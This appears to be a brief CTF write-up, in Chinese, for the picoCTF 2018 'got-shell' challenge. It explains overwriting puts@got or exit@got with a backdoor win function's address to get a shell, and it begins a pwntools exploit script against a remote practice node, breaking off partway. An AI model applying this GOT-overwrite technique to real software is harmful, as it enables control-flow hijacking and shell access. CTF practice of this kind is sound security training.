picoctf_2018_got_shell win是后门函数,将win的地址覆写到puts@got或者exit@got,后面执行puts或exit的时候直接跳转到win函数来getshell frompwnimport*r=remote('node3.buuoj.cn',29217)#r=process('./PicoCTF_2018_got-shell')elf=ELF('./PicoCTF_2018_got-shell') puts_got=elf.got['puts'] win_addr=...